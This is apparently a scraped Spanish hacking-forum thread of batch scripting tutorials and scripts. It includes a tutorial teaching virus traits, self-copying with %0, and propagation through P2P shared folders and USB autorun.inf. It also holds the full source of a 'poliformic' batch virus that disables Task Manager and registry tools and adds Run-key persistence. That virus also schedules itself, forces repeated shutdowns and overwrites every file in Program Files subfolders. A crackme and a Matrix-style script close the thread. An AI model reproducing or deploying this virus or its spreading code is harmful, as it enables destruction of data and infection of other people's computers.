Muy Bueno, gracias!

Me gusta!
Gracias por compartir

Aver, mucho no entiendo de Perl, pero me interesa. Como podria utilzar este codigo amigo?
Te agredesco Mucho!
Gran aporte

[size=12]TUTORIAL DE PROGRAMACIÓN EN BATCH NIVEL AVANZADO BY: -KuTeR-[/size]

Buenas, amigos de zonehacking, aquí les traigo el esperado tutorial de programación de nivel avanzado en batch.Aprevecho este espacio para saludar a todos los miembros de la comunidad MaNdItOo,ShadinessDark y Geerk Lord.

Bueno empecemos, os voy a dar los contenidos de este tutotorial:

-Parametrización (Parámetro %0)
-For Avanzado
-Cifrado/Encriptado (Método de extracción de carácteres y sustitución de carácteres)
-MiniVirus
-%ERRORLEVEL%
-Propagación USB y P2P
-Despedida
[size=11]PARAMETRIZACIÓN[/size]

De este tema ya publiqué un tutorial, pero dejé para el final una de las utilidades más "útiles" (valga la redundacia) de batch, El parámetro %0.
Supongo que a todos o casi todos los que hayais pasado alguna vez por el mundo del batch se os ha ocurrido alguna vez que deberiais hacer si se os presenta el problema de no saber la ruta en la que estará en la victima (en un virus sobre todo) el batch que programasteis, pues como respuesta a vuestras alabanzas llega el parámetro "especial" %0. Como ya supondreis este comando representa al batch dentro del que está escrito, veamos un ejemplo:

copy %0 C:\Windows\System32 ¿Qué haría esto? Pues copiaría el batch que estamos programando a C:\Windows\System32
Facil ¿No?

[size=11]FOR AVANZADO[/size]

En el anterior tutorial (Tutorial de Programación en Batch Nivel Medio) os enseñé a usar el comando FOR para crear bucles finitos, pero esta vez os voy a enseñar la utilidad más avanzada de este comando: Procesar Archivos.
Esta vez el comando For, se acompaña del modificador /F, esta es la sintaxis

For /F opciones %%a in (archivos) do comandos Expliquemos:

/F: Modificador
opciones: "reglas" por las que se regirá for al procesar el archivo
%%a: variable
(archivos): archivos que se procesarán
comandos: comandos que se ejcutarán Os doy las opciones:

EOL=x Indica que se procesen todas las líneas menos las que empiezan por esa letra
SKIP=x Indica la línea por la que se empezará a procesa, es decir si pongo Skip=5 las 5 primeras líneas no se procesarán
DELIMS=xxx Indica en que símbolo o letra acabrá de procesar for
TOKENS=x,y,z Indica las vueltas que serán validas.
Veamos un ejemplo:
Creamos un archivo .txt que contenga: y lo llamamos archivo.txt
asdf
Hola -
Adios-
Hasta luego-
y usemos For
For /F "DELIMS=- SKIP=1" %%a in (archivo.txt) do echo %%a
¿Esto que hará? Nos mostrará las líneas del archivo excepto la primera y acabará de procesar cada linea en -
por tanto nos mostrará Hola Adios Hasta Luego.
¿No es tan dificil no?

[size=11]CIFRADO/ENCRIPTADO EN BATCH[/size]

Bien, supongo que a nadie le gustará que haga una aplicación batch con contraseña como esta:

@echo off
echo Hola escribe la contraseña para entrar
set /p pass=
if pass=wenas (echo bien) else (echo mal)

Y el user la abra y vea claramente que la password es "wenas" ¿no?. Dirás, eso es facil de arreglar, lo compilo a .exe y ya está. Bueno pues sí me has pillado, pero eso sería demasiado facil, os voy a enseñar un método más "profesional". Si han leído mi tutorial anterior ya sabran usar la extracción de carácteres, pues esto se puede usar para encriptar, veamos un ejemplo:

@echo off
echo Hola escribe la contraseña para entrar
set /p password2=abcdefghijklmnopqrstvwxyz
set /p pass=
if %pass%=%password2:~21,1%%password2:~4,1%%password2:~13,1%%password2:~0,1%%password2:~18,1% (echo bien) else (echo mal)

Asi el código quedaría menos visible ¿verdad?. Dirás sí, pero cualquiera que conozca esta técnica me lo desencriptará sin problemas ¬¬..
Bueno, para eso esta la Sustitución de Carácteres:

%var:caracterequeseremplaza=caracterremplazador%

Aquí lo que haremos será susituir el primer caracter por el segundo y así se deberá poner el caracter remplazador en vez del remplazado, añadamoslo al code anterior:

@echo off
echo Hola escribe la contraseña para entrar
set /p password2=abcdefghijklmnopqrstvwxyz
set /p pass=
if %pass%=%password2:~21,1%%password2:~4,1%%password2:~13,1%%password2:~0,1%%password2:~18,1% (echo bien) else (echo mal)
%pass:a=4%
esto sustituiría las a de wenas por 4 es decir habría que poner wen4s en vez de wenas para que valiera.
Así ningun desalmado crackeará nuestros bats tan facilmente (esto es útil para hacer crackmes, ya publicaré alguno jeje )

[size=11]MINIVIRUS[/size]
Bien en esta sección explicaré algunos de los fundamentos que debe tener un virus o minivirus en batch (esto es lo mio jeje ) Esta parte va dedicada a [size=8]Geek Lord [/size]jeje por su interes por el batch
Bueno empiezo explicando algunos fundamentos:
-Un buen virus debe copiarse a si mismo: Usando en famoso parámetro %0 se puede realizar esto , se debe copiar el virus a distintas carpetas en las que quede bien escondidos jeje
-Un virus puede saturar la memoria del ordenador: Por ejemplo creando infinitas carpetas en C: (comando for/goto)
-Un virus debe propagarse porlomenos por alguno de los métodos más conocidos, explicados más adelante
-Un virus debe ser ingenioso: Dejen volar su imaginación xd
-Un virus debe ser "cabroncete" perdonen la expresión xd: Debe hacer cosas que nadie sospeche que va ha hacer
-Un virus debe saber ocultarse: Es decir puede ocultarse en algunas carpetas con muchos archivos como por ejemplo System32 de Windows.
-Un virus debe agregarse al registro para iniciarse al principio o modificar algo de Windows xd: como por ejemplo la página de incio de Internet o el Fondo de Escritorio

Bueno no profundizo mucho este tema porque publicaré un tutorial sobre Virus en Batch.

[size=11]%ERRORLEVEL%[/size]

Esto es una Variable de Entorno que indica el nivel de error mostrado por un comando a su salida, supongo que no lo habrán entendido muy bien xd , bueno se lo explico de otra manera:
Todos los comandos al ser ejecutados devuelven un código en forma de 1 o 0, 0 si el comando ha sido ejecutado correctamente o 1 si ha habido algún error, Bien %errorlevel% lo que hace es indicar el código de error como dije antes jeje. Bueno esto se usa sobre todo junto con el comando if, para especificar que si un comando no ha sido ejecutado correctamente se ejecute una acción, en esto no profundizaré ya que ni yo lo entiendo demasiado bien jeje pronto publicaré otro tuto con esto.

[size=11]PROPAGACIÓN P2P Y USB[/size]

Uno de los fundamentos principales de los virus como vimos anteriormente es la propagación, ya sea a través de los clientes/servidores P2P o los Puertos USB. Antes de nada explicaré que significa esto de propagación. Cuando un virus se propaga, se extiende desde unos ordenadores a otros, esto es la propagación. Como diría Jack el Destripador, vayamos por partes xd:
P2P: Esto tipo de propagación consiste en la reproducción de un virus a través de las redes Peer to Peer (P2P) como eMule, Ares,BitTorrent etc..
Es simple, solamente hay que copiar el virus a las diferentes carpetas de los clientes P2P con diferentes nombres: Os dejo las carpetas:

C:\Archivos de programa\Grokster\My Grokster\
C:\Archivos de programa\Morpheus\My Shared Folder\
C:\Archivos de programa\ICQ\shared files\
C:\Archivos de programa\KaZaA\My Shared Folder\
C:\Archivos de programa\KaZaA Lite\My Shared Folder\
C:\Archivos de programa\EDONKEY2000\incoming\
C:\Archivos de programa\eMule\Incoming\
C:\Archivos de programa\Filetopia3\Files\
C:\Archivos de programa\appleJuice\incoming\
C:\Archivos de programa\Gnucleus\Downloads\
C:\Archivos de programa\LimeWire\Shared\
C:\Archivos de programa\Overnet\incoming\
C:\Archivos de programa\Shareaza\Downloads\
C:\Archivos de programa\Swaptor\Download\
C:\Archivos de programa\WinMX\My Shared Folder\
C:\Archivos de programa\Tesla\Files\
C:\Archivos de programa\XoloX\Downloads\
C:\Archivos de programa\Rapigator\Share\
C:\Archivos de programa\KMD\My Shared Folder\
C:\Archivos de programa\BearShare\Shared\
C:\Archivos de programa\Direct Connect\Received Files\
Simplemente copia el virus a estas Carpetas con nombres distintos

USB: Esto es más complicado que lo anterior, bien lo que debemos hacer es dentro del virus crear en la unidad USB, un archivo .inf con el siguiente contenido:
[AutoRun]
Open=archivo.bat
action=Abrir Pendrive
Icon= icono.ico
shellexecute=/archivo.batAdemás deberemos adjuntar el icono si lo hay. Os dejo un código para hacerlo más fácil:
:if
if exist E: call :autorun E
if exist F: call :autorun F
if exist G: call :autorun G
if exist H: call :autorun H
if exist I: call :autorun I
if exist J: call :autorun J
if exist K: call :autorun K
goto:EOF

:autorun

copy 0% "%1\archivo.bat"
echo [AutoRun] >> "%1\Autorun.inf"
echo Open="archivo.bat" >> "1%\Autorun.inf"
echo action=Abrir Pendrive >> "%1\Autorun.inf"
echo shellexecute=/archivo.bat >> "%1\Autorun.inf"
goto:EOF

[size=11]DESPEDIDA[/size]

Bueno este es el último de mis tutoriales en lo que a programación batch en general se refiere, aunque seguiré publicando tutoriales sobre diferentes ramas del batch para especificar y adentrarnos más en ellos , espero que os hayan servido mis tutoriales,

Salu2

Fuente: http://zonehacking.ucoz.org/forum/25

Buenas
Aquí les traigo un tutorial básico de programación en batch hecho exclusivamente por mi. Mi objetivo es introducirlos al lenguaje de scripting batch que aunque parezca que no sirve de mucho les aseguro que es una gran alternativa para las personas con Windows en sus PCs y con interés por la programación:

[size=10]TUTORIAL DE PROGRAMACIÓN EN BATCH[/size]

[size=8]¿Qué es Batch?[/size]

Batch es un lenguaje de programación scripting que se usa en Windows a por medio de la Shell de Comandos también conocido como "Simbolo del Sistema".
Batch tiene como objetivo automatizar tareas en Windows entre otras cosas. Este lenguaje aunque parezca que es "inutil" tiene infinidad de usos, cada uno más interesante que el anterior, como la creación de virus, al antes nombrada automatización de tareas etc... A lo largo de este tutorial les enseñaré algunas nociones básicas sobre este lenguaje de Scripting. Bueno vallamos al lío

[size=8]¿Que se necesita para aprender Batch?[/size]
El lenguaje batch es posiblemente uno de los lenguajes más sencillos de toda la programación. Para crear nuestros "pequeños" programas solo necesitamos del editor de texto más sencillo que existe en Windows, el Bloc de Notas o notepad. Después plantar el código de nuestro script en un bloc de notas lo que deberemos hacer es guardar el archivo con la extension .bat o .cmd y al ejecutarlos se mostrará la famosa pantallita del cmd.

[size=8]Comandos Básicos[/size]
A continuación les mostrare una lista con los comandos más utilizados en Batch, vamos allá
@echo off: Esto se debe poner al principio de todo code, sirve para que al ejecutar nuestro script no se muestre la ruta de nuestro sistema ej: C:\Windows\System32\
echo: Este es uno de los comandos más básicos de batch, sirve para mostrar un texto en pantalla.
pause: Sirve para hacer una pausa en el programa, se puede poner acompañado por > nul o solo, la diferencia es que si se pone acompañado el programa no mostrará el texto: "Pulse una tecla para continuar..."
exit: Sirve para salir del programa. Se puede acompañar del parámetro /B si solo quieres salirte del programa, no de la cmd.
goto: Sirve para pasar de una parte a otra del programa que va provista por una etiqueta y un título, un ejemplo sería

:prueba
echo hola
goto prueba

Lo que haría esta muestra sería imprimir un texto en pantalla diciendo "hola", cada vez que se muestre goto prueba se redireccionará el programa hast la etiqueta :prueba.

if: Este comando es uno de los más usados en batch, sirve para comparar dos variables (se definirá la palabra variable más adelante) y ejecutar una accion dependiendo de si una condición es verdadera o falsa, puede ser un poco liosa pero lo vemos mejor con un ejemplo

echo Menu elije una opcion
echo 1 opcion 1
echo 2 opcion 2
echo 3 opcion 3
set /p %variable%=
if %variable%==1 (comando) else (comando2)
Esto significaría que si la variable (%variable%) es igual (==) a 1 (opcion 1) se ejecutaría un comando, sino (else) se ejecutaría otro comando

call: Sirve para llamar a una parte del programa precedida por ":" o a otro archivo .bat Ejemplo:

:hola

echo hola me llamo Pepe

call :hola (te llevaría hasta la etiqueta hola que seria igual a "me llamo pepe")

call archivo.bat

llamaría a archivo.bat que se ejecutaría.

start: Sirve para ejecutar un archivo sin depender de su extension, su sintaxis es básica: start rutadelarchivo\archivo.extension

[size=8]Variables[/size]
Las variables son muy usadas en batch para abreviar comandos, para definir valores dentro del programa, o incluso para crifrar.
La variable puede ser definida por el programador o por el usuario que ejecuta el programa, la sintaxis básica de una variable es:

set /p nombrevariable= (esta sería una variable que tendria que definir el usuario que ejecute el programa)
cuando se quiera llamar a la variable se deberá poner su nombre por ejemplo
set /p nombre= hola
echo %nombre% ( Esto imprimiría el contenido de la variable en pantalla, en este caso hola )

Si el propio programador quisiera definir una variable para abreviar por ejemplo debería poner esto:

set nombre=contenido

Existe otro tipo de variable que se encarga de realizar operaciones entre dos variables, por ejemplo

definimos dos variables:

set A=1
set B=2

set /a resultado=A+B Esto sumaría las variables A y B y lo almacenaria a su vez en la variable resultado de modo que si hacemos:

echo %resultado% nos saldría en pantalla 3

Para esto se usan los llamados operadores aritméticos, son:

+ = suma
- = resta
* = multiplicación
/ = división

[size=8]Redirecciones ¡Muy importantes![/size]

Las llamadas redirecciones se usan en batch para crear archivos de texto que pueden guardarse después con diferentes extensiones (por ejemplo .bat)
Para redireccionar se usan los símbolos > y >> , os explico la diferencia.
Veamoslo con un ejemplo
Queremos crear un archivo.txt con el contenido hola mundo, llevado al mundo de las redirecciones sería asi

echo hola mundo > archivo.txt
se habría creado un archivo llamado archivo.txt con el contenido "hola mundo". Pero imaginemonos que quieremos añadir más texto, diras facil!
echo más texto para el archivo > archivo.txt

pues no!! te pasaste de listo, si hicieras eso se sobreescribiría y en el archivo solo veriamos "más texto para el archivo"
para que esto no pase se usa >> veamos un ejemplo

echo más texto para el archivo >> archivo.txt
suponiendo que antes hubieramos escrito hola mundo el contenido del archivo sería:

hola mundo
más texto para el archivo

Existe otro tipo de redirección llamada multilínea en la que se agrupa todo el texto que queramos añadir en un parentesis y se pone al final > archivo.txt
Ejemplo:

echo(
echo hola mundo
echo más texto para el archivo ) > archivo.txt

[size=8]Tratamiento de Archivos[/size]
Esto es algo muy básico, vamos a tratar los comandos de tratamiento de archivos con los que podremos entre otras cosas borrar,mover copiar archivos crear,borrar carpetas etc...
Empecemos enumerando los comandos:

del: Borrar archivos, su sintaxis es básica = del /F /Q archivo Explicamos los parametros

/F: Sirve para forzar la eliminación de archivos.
/Q: Sirve para que el programa no pida confirmación para borrar, muy util para virus

move: Sirve para mover archivos de una caprte a otra, muy básico: move rutaarchivoamover rutaalaquemoverelarchivo
copy: Sirve para copiar archivos de una carpeta a otra : copy rutaarchivoacopiar rutaalaquecopiarelarchivo
md: crea carpetas: md rutacarpeta
rd: borra carpetas: rd /S /Q carpeta /S sirve para eliminar la carpeta con todas sus subcarpetas
dir: sirve para enumerar los archivos que hay en una carpeta: dir carpeta
format: sirve para formatear una unidad: format unidad
runas: sirve para inciar un programa como administrador: runas /user:Usuario programa

Asta aquí llega el trataminto de archivos

[size=8]Otros comandos y Despedida[/size]

Aqui llega una lista de comandos más avanzados que se explicarán más detalladamente en el tutorial de Batch de Nivel Medio

shutdown: apaga o reinicia el pc
attrib: modifica los atributos de los archivos
assoc: modifica las extensiones de los archivos
for: crea bucles y procesa archivos
color: cambia el color de la pantalla
title: cambia el título de la pantalla
mode con: modifica el tamaño de la pantalla

Bueno hasta aquí llega este tutorial me despido hasta el próximo que será:

Tutorial de Programación en Batch II Nivel Medio

Salu2

Añadido (2009-04-30, 10:51 Am)
---------------------------------------------
Bueno tutorial posteado a ver si la gente se interesa más por el batch

Salu2

Batch's Art By -KuTeR-

Fuente: http://zonehacking.ucoz.org/forum/25-87-215-9-1

@echo off
rem ----------------------------------------------------------------------
rem OBVI =================  .........   25/11/07
rem well it is a poliformic .bat file virus ... mmmmm is like another virus life form ... do not infect anything
rem only have fun with the victim xD ....
rem ...well nothing special but i think is really nice to see a poliformic batch script virus
rem enjoy!
rem OBVI (Oligomorphic Batch VIrus)
echo  ============================================
echo  |OBVI by Shadow (The Shadow) whatever way |
echo  ============================================
set a="%windir%\prntcrlt.bat"
if exist %a% goto code
echo set shell = CreateObject("wscript.shell") > %windir%\run.vbs
echo shell.run "cmd /c prntcrlt.bat", vbHide >> %windir%\run.vbs
copy %0 %a%
:qep
set hor=%time:~0,2%
set tim=%time:~3%
set tim=%tim:~0,2%
set /A tim=%tim% + 5
if /I %tim% geq 60 (set /a hor=%hor%+1
                    set /a tim=%tim%-60
                    if /I %tim% lss 10 (set tim=0%tim%))
set ecx=%hor%:%tim%
at %ecx% "%windir%\run.vbs"
exit
:crea
echo 0 > vals.tk
echo 1 >> vals.tk
echo 2 >> vals.tk
echo 3 >> vals.tk
echo 4 >> vals.tk
echo 5 >> vals.tk
echo 6 >> vals.tk
echo 7 >> vals.tk
echo 8 >> vals.tk
echo 9 >> vals.tk
echo A >> vals.tk
echo B >> vals.tk
echo C >> vals.tk
echo D >> vals.tk
echo E >> vals.tk
echo F >> vals.tk
goto for
:modulcrea
set tar=%tar:~,1%
if /I %tar% leq 9 ( if %tar% == 9 ( set tar2=A
                                    goto klop ) 
                    set /A tar2=%tar%+1 ) else ( if %tar% == A set tar2=B
                                                 if %tar% == B set tar2=C
                                                 if %tar% == C set tar2=D
                                                 if %tar% == D set tar2=E
                                                 if %tar% == E set tar2=F )
:klop
echo :modul%tar% ¿mol%tar%¿ >> modul.tk
if %tar%==0 ( echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t Reg_dword /d 1 /f ¿mol%tar%¿ >> modul.tk
              echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t Reg_dword /d 1 /f ¿mol%tar%¿ >> modul.tk
              echo goto ¿1_jk ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==1 ( echo :_jk ¿mol%tar%¿ >> modul.tk
              echo copy "¿windir¿\kpore.bat" "¿windir¿\k0.bat" ¿mol%tar%¿ >> modul.tk
              echo reg add "HKLM\software\microsoft\windows\currentversion\policies\explorer\run" /V MSNupdate /d "%windir%\k0.vbs" /f ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==2 ( echo echo set shell = CreateObject¡"wscript.shell"$ ^> %windir%\k0.vbs ¿mol%tar%¿ >> modul.tk
              echo echo shell.run "cmd /c k0.bat ini", vbHide ^>^> %windir%\k0.vbs ¿mol%tar%¿ >> modul.tk
      echo echo Set fg = CreateObject¡"WMPlayer.OCX.7"$ ^> conf.vbs ¿mol%tar%¿ >> modul.tk
              echo echo Set fgh = fg.cdromCollection ^>^> conf.vbs   ¿mol%tar%¿ >> modul.tk
              echo echo if fgh.Count  then ^>^> conf.vbs  ¿mol%tar%¿ >> modul.tk
              echo echo       For i = 0 to fgh.Count-1 ^>^> conf.vbs  ¿mol%tar%¿ >> modul.tk
              echo echo             fgh.Item¡i$.Eject ^>^> conf.vbs  ¿mol%tar%¿ >> modul.tk
              echo echo       Next   ' cdrom ^>^> conf.vbs  ¿mol%tar%¿ >> modul.tk
              echo echo End If ^>^> conf.vbs ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==3 ( echo :ini_jk ¿mol%tar%¿ >> modul.tk
              echo start conf.vbs ¿mol%tar%¿ >> modul.tk
              echo set hor=¿time:~0,2¿ ¿mol%tar%¿ >> modul.tk
              echo set tim=¿time:~3¿ ¿mol%tar%¿ >> modul.tk
              echo set tim=¿tim:~0,2¿ ¿mol%tar%¿ >> modul.tk
              echo set /A tim=¿tim¿+1 ¿mol%tar%¿ >> modul.tk
              echo if /I ¿tim¿ geq 60 ¡set /a hor=¿hor¿+1 ¿mol%tar%¿ >> modul.tk
              echo                     set /a tim=¿tim¿-60 ¿mol%tar%¿ >> modul.tk
              echo                     if /I ¿tim¿ lss 10 ¡set tim=0¿tim¿$$ ¿mol%tar%¿ >> modul.tk
              echo set ecx=¿hor:~0,2¿:¿tim¿ ¿mol%tar%¿ >> modul.tk
              echo at ¿ecx¿ "¿windir¿\k0.vbs" ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==4 ( echo cd "¿programfiles¿" ¿mol%tar%¿ >> modul.tk
              echo dir /B ^> ¿homedrive¿\dir.txt ¿mol%tar%¿ >> modul.tk
              echo goto for ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==5 ( echo reg add "HKLM\software\microsoft\windows\currentversion\policies\explorer\run" /V MSNupdate2 /d "shutdown -r -f -t 2423" /f ¿mol%tar%¿ >> modul.tk
              echo shutdown -r -f -t 242 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==6 ( echo shutdown -r -f -t 12 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==7 ( echo :worm ¿mol%tar%¿ >> modul.tk
              echo set target=¿1 ¿mol%tar%¿ >> modul.tk
              echo cd "¿target¿" ¿mol%tar%¿ >> modul.tk
              echo for ¿¿e in ¡*.*$ do echo Exworm by Shadow ^> ¿¿e ¿mol%tar%¿ >> modul.tk
              echo cd "¿programfiles¿" ¿mol%tar%¿ >> modul.tk
              echo goto :EOF ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==8 ( echo shutdown -r -f -t 43 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==9 ( echo :ERRNO ¿mol%tar%¿ >> modul.tk
              echo for /f "tokens=* " ¿¿a in ¡¿homedir¿\dir.txt$ do call :worm "¿¿a" ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==A ( echo shutdown -s -f -t 53 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==B ( echo shutdown -s -f -t 22 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==C ( echo shutdown -r -f -t 11 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==D ( echo shutdown -r -f -t 666 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==E ( echo shutdown -s -f -t 23 ¿mol%tar%¿ >> modul.tk
              echo exit ¿mol%tar%¿ >> modul.tk
              echo goto modul%tar2% ¿mol%tar%¿ >> modul.tk   
              goto :EOF )
if %tar%==F ( echo exit ¿mol%tar%¿ >> modul.tk
              goto :EOF )
:for
for /f "tokens=*" %%a in (vals.tk) do (set tar=%%a && call :modulcrea)
:sig
echo set shell = CreateObject("Scripting.FileSystemObject") > rep.vbs
echo set file = shell.OpenTextFile("modul.tk") >> rep.vbs
echo read = file.ReadAll >> rep.vbs
echo repla = replace(read,"¿",chr(37)) >> rep.vbs
echo repla1 = replace(repla,"¡",chr(40)) >> rep.vbs
echo repla2 = replace(repla1,"$",chr(41)) >> rep.vbs
echo set b=shell.CreateTextFile("module.tk") >> rep.vbs
echo b.close >> rep.vbs
echo set d=shell.OpenTextFile("module.tk",2) >> rep.vbs
echo d.write repla2 >> rep.vbs
echo d.close >> rep.vbs
start rep.vbs
:code
if not exist module.tk goto crea
echo set shell = CreateObject("wscript.shell") > run2.vbs
echo shell.run "cmd /c kpore.bat", vbHide >> run2.vbs
ping -n 7 localhost > nul
set fail=module.tk
set vir=kpore.bat
echo @echo off > %vir%
set a=%time:~,5%
set b=%a:~3,2%
del modul.tk vals.tk rep.vbs
if /I %b% geq 0 (if /I %b% lss 10 goto a)
if /I %b% geq 10 (if /I %b% lss 20 goto b)
if /I %b% geq 20 (if /I %b% lss 30 goto c)
if /I %b% geq 30 (if /I %b% lss 40 goto d)
if /I %b% geq 40 (if /I %b% lss 50 goto e)
if /I %b% geq 50 (if /I %b% lss 60 goto f)
goto crea
:a
find "mol0" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
start run2.vbs
goto qep
:b
find "mol4" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
start run2.vbs
goto qep
:C
find "molB" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
start run2.vbs
goto qep
:d
find "molF" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
start run2.vbs
goto qep
:e
find "mol8" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol5" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
start run2.vbs
goto qep
:f
find "mol5" <%fail%>>%vir%
find "mol1" <%fail%>>%vir%
find "mol4" <%fail%>>%vir%
find "mol6" <%fail%>>%vir%
find "mol2" <%fail%>>%vir%
find "mol9" <%fail%>>%vir%
find "mol3" <%fail%>>%vir%
find "mol7" <%fail%>>%vir%
find "mol8" <%fail%>>%vir%
find "mol0" <%fail%>>%vir%
find "molE" <%fail%>>%vir%
find "molF" <%fail%>>%vir%
find "molC" <%fail%>>%vir%
find "molD" <%fail%>>%vir%
find "molA" <%fail%>>%vir%
find "molB" <%fail%>>%vir%
start run2.vbs
goto qep
fuente

Bueno, esto lo codeé para un duelo..

@echo off
title Crackme v7 - by xassiz!
color 0c&mode con cols=32 lines=5
:main
cl%windir:~9,1%&echo.&echo.
for %%· %windir:~4,1%n (-,P,a,s,s,w,o,r,d) do @set/p =%%·<nul&>nul ping -n 1 127.1
set "var=" %windir:~0,6%="pass">nul
set /p "var=> "
%windir:~4,1%f;%windir:~5,1%%windir:~7,1%t;defined;var;(g%windir:~7,1%to:mai%windir:~5,1%)
%windir:~9,1%et -=%var:~-1%&got%windir:~7,1%:%windir:~5,1%ext
m%windir:~7,1%re/c<%windir:~5,1%ul&%windir:~9,1%et "var=%var: = _%"
%windir:~9,1%et ".=&"&call :%windir:~-3% %var:~0,-1%
cls&%windir:~-6,1%f;;["$.%.%.$"]==;["$.%..%.$"];(
echo.&echo.&echo.              Bien!
);else;(g%windir:~7,1%to:%windir:~5,1%ext)
pause>%windir:~5,1%ul
exit
:next
cl%windir:~9,1%&echo.&echo.&echo.              Mal!
pause>nul
goto:ma%windir:~4,1%n
:ows
%*>%windir:~5,1%ul;2>&1

Soluciones por MP

bytes

Esto lo vi en otro foro aunque el code tenia un problema y lo corregi. Aqui lo tienen:

@echo off
color 0A
REM MAtrix en batch.. muy sencillito.
:xxx
ping localhost -n 1 > nul
FOR %%A IN (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) DO (
<nul set /p "=%random:~4% "
<nul set /p "=%%A "
)
goto xxx

Esta muy bueno como para ponerlo de intro en sus proximos scripts . Usen su imaginacion.